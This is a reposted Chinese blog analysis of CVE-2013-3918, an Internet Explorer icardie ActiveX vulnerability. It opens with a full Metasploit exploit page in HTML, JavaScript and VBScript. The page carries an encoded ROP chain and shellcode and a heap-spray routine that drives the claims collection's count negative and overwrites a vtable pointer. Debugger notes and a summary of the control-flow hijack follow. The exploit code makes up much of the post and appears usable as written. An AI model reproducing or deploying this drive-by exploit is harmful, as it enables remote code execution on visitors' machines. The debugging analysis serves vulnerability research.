注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

【转载】CVE-2013-3918 EXPLOIT 分析  

2014-08-01 13:41:31|  分类: 参考文章 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
本文转载自zenhumany《CVE-2013-3918 EXPLOIT 分析》

CVE-2013-3918 EXPLOIT 分析

  1、Metasploit 脚本

<html>

<head>

<META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">

<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">

</head>

<body>

<object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='sEzINd'></object>

<script language='JavaScript'>

 

function QdBdO(){

var uCHuiWVP = unescape("%u0433%u77c2%u5ed5%u77c1%ub860%u77c0%ufeac%uffff%ube18%u77be%ue82c%u3755%u362c%u77bf%ud9bb%u77c2%ue071%u77bf%u0d13%u77c2%uffc0%uffff%u8fbc%u77c2%ube18%u77be%ubf46%uf3ef%u8fbc%u77c2%uee15%u77c0%uee15%u77c0%ueeef%u77c0%ud9bb%u77c2%ua88c%u77bf%u9f92%u77c0%ua184%u77c0%uaacc%u77bf%ub860%u77c0%u1120%u77be%uc2e4%u77c5%u1025%u77c2%uc481%ufe0c%uffff%ue9be%u3d26%uda43%ud9d6%u2474%u58f4%uc92b%u4db1%u7031%u8315%u04c0%u7003%ue211%u421c%u5b9c%u8bde%ud8de%u831e%ufe55%u501f%u0759%ua6e0%u1f66%u5997%ue097%ud0c7%ud172%u87d5%u40f7%ucce9%u695a%u8182%ufa4e%u0de6%u4b60%u684c%u4c4f%ub461%u8e03%u48e0%uc35e%u71c2%u1691%ub503%ud9cc%u6e51%u489a%u1b45%u50de%ucb64%ue854%u6e1e%u9daa%u7194%u0efb%u3aa3%u25e3%u9aeb%ue912%ue7e8%u865d%u9cda%u4e5f%u5c13%uae6e%u63ff%u235e%ua4fe%udc59%udf75%u6199%u248d%ubde3%ub918%u3543%u19ba%u9a75%ue95c%u5779%ub52b%u669d%ucdf8%ue39a%u01ff%ub72b%u85db%u6377%u9f42%uc2dd%uff7b%ubbba%u8bd9%uaf29%ud65b%u1c25%ue951%u0ab5%u9ae2%u9587%u3558%u5ea4%uc246%u74cb%u5c3e%u7732%u743e%u23f1%uee6e%u4bd0%ueee5%u99dd%ubea9%u7271%u6f09%u2232%u65e1%u1dbd%u8611%u3617%u7cbb%u33f0%u612b%u2c0d%u9d49%uf01c%u7bc4%u1874%ud480%u81e1%uaf89%u4e90%uca04%uc593%u2aaa%u2e5d%u38c7%ude0a%u6392%ue19d%u0909%u7422%u98b5%ue075%ufdb7%uafb2%u2848%u66c9%u93dc%u86a6%u1430%ud137%u145a%u855f%u473e%uca7a%ufbeb%u5fd7%uaa13%uc884%u507b%u3ff2%uab24%uc1d1%u7a19%u441c%u086b%u844c");

return uCHuiWVP;

}

</script>

<script language='vbscript'>

On Error Resume Next

Dim IgGQRK,jmYHizY,MlXdONQ

Dim NRgbPPvjy(5493)

IgGQRK = 5493

jmYHizY = -7

MlXdONQ = 0

 

Set RluPYKm = sEzINd.requiredClaims

 

For i = MlXdONQ to IgGQRK

Set NRgbPPvjy(i) = document.createElement("object")

Next

 

For i = 4093 to IgGQRK Step 2

NRgbPPvjy(i) = Null

Next

//REMOVE 8 计数变为0xfffffff8

For i = MlXdONQ to jmYHizY Step -1

RluPYKm.remove(CLng(i))

Next

 

Dim yxAJgJ

yxAJgJ = QdBdO()

 

//shellcode的地址添加到元素中,由于溢出,导致覆盖和数组相邻元素(低地址方向)的虚表指针

RluPYKm.add(yxAJgJ)

 

For i = MlXdONQ = 0 to IgGQRK

if NRgbPPvjy(i) <> Null Then

NRgbPPvjy(i).focus

End If

Next

 

For i = MlXdONQ = 0 to IgGQRK

NRgbPPvjy(i) = Null

Next

 

</script></body></html>

 

 

2、调试

2.1 Remove

断点设置

icardie!CCardSpaceClaimCollection::CreateInstance

icardie!CCardSpaceClaimCollection::remove

icardie!CCardSpaceClaimCollection::add

 

CCardSpaceClaimCollection对象的地址 003b9b50

再次进入Remove。

可以看到InnerArray地址为0442c350。

数组的起始地址为0442c2e0。

当数组的长度表递减为0xfffffff8时,再次运行,进入add函数。


2.2  Add

Add函数会把shellcode的起始地址添加到数组中。

为shellcode分配地址空间 0x034d3fc4。

 

 

0:008> !heap -p -a 0442c2e0

address 0442c2e0 found in

_HEAP @ 150000

HEAP_ENTRY Size Prev Flags UserPtr UserSize - state

04428c00 1000 0000 [01] 04428c08 07ff8 - (busy)

 

 

0:008> dc 003b9b50 l4

003b9b50 03bc27d4 00000003 fffffff8 0442c350 .'..........P.B.

0:008> dc 0442c350 l8

0442c350 01800001 00000004 00000001 0442c2e0 ..............B.

0442c360 0000000a 00000000 ee7d6b35 ff080100 ........5k}.....

0:008> dc 0442c2e0 l8

0442c2e0 00000000 00000000 00000000 00000000 ................

0442c2f0 00000000 00000000 00000000 00000000 ................

上面是关键的过程。

将shellcode的地址放入到数组中。由于数组

起始地址:0442c2e0

长度:0xfffffff8

所以存入的地址为:0442c2e0 + 0xfffffff8*4 = 0442c2c0

 

 

struct TEAROFF_THUNK

{

    void*    papfnVtblThis;    // Thunk's vtable

    ULONG    ulRef;    // Reference count for this thunk.

    IID const* const*   apIID;    // Short circuit QI using these IIDs.

    void*    pvObject1;    // Delegate other methods to this object using...

    const void*    apfnVtblObject1;    // ...this array of pointers to member functions.

    void*    pvObject2;    // Delegate methods to this object using...

    void*    apfnVtblObject2;    // ...this array of pointers to member functions...

    DWORD    dwMask;    // ...the index of the method is set in the mask.

    DWORD    n;   // index of method into vtbl

    void*               apVtblPropDesc;     // array of propdescs in Vtbl order

}; 

    从上面可以看出,0442c2b0是一个TEAROFF_THUNK结构,其0x10偏移处0442c2c0为apfnVtblObject1指针,也就是虚表指针。本次溢出真好覆盖了0442c2c0处的值为shellcode的起始地址。

    下面看看具体的利用过程。

2.3 控制权获取

0442c2c0设置读写断点:

ba r4 0442c2c0,运行后:

函数运行到此处时,进入攻击者设置的ROP CHAIN。


3、小结

通过多次remove,将数组的长度修改为负值。

然后将攻击者的shellcode add到数组中。这个导致将shellcode的地址添加到数组中。    由于数组的长度被修改为负值,当通过array[array.lenght] = shellcode address时,则会修改和数组相邻的对象的内容(低地址方向)。

此处和数组相邻的对象TEAROFF_THUNK溢出将会修改apfnVtblObject1为shellcode的地址。

struct TEAROFF_THUNK

{

    void*    papfnVtblThis;    // Thunk's vtable

    ULONG    ulRef;    // Reference count for this thunk.

    IID const* const*   apIID;    // Short circuit QI using these IIDs.

    void*    pvObject1;    // Delegate other methods to this object using...

    const void*    apfnVtblObject1;    // ...this array of pointers to member functions.

    void*    pvObject2;    // Delegate methods to this object using...

    void*    apfnVtblObject2;    // ...this array of pointers to member functions...

    DWORD    dwMask;    // ...the index of the method is set in the mask.

    DWORD    n;   // index of method into vtbl

    void*               apVtblPropDesc;     // array of propdescs in Vtbl order

}; 

    最终通过脚本,触发TEAROFF_THUNK对象调用函数。进入到攻击者的ROP CHAIN。

  评论这张
 
阅读(168)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017